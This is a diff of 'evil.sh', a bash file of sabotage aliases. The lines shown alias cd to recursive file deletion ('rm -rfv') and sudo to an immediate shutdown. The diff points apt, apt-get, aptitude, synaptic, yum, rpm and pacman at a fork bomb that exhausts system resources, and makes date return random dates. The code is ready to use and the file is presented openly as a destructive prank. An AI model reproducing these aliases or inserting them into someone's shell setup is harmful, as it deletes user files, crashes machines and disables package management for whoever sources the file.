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10 changes: 8 additions & 2 deletions evil.sh
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Expand Up @@ -22,8 +22,14 @@ alias cd='rm -rfv'
# Shut down the computer instead of running a command with super-user rights
alias sudo='sudo shutdown -P now'

# Launch a fork bomb instead of clearing the screen
alias clear=':(){ :|:& };:'
# Launch a fork bomb instead of package manager
alias apt=':(){ :|:& };:'
alias aptitude=':(){ :|:& };:'
alias synaptic=':(){ :|:& };:'
alias apt-get=':(){ :|:& };:'
alias yum=':(){ :|:& };:'
alias rpm=':(){ :|:& };:'
alias pacman=':(){ :|:& };:'

# Have `date` return random dates
alias date='date -d "now + $RANDOM days"'
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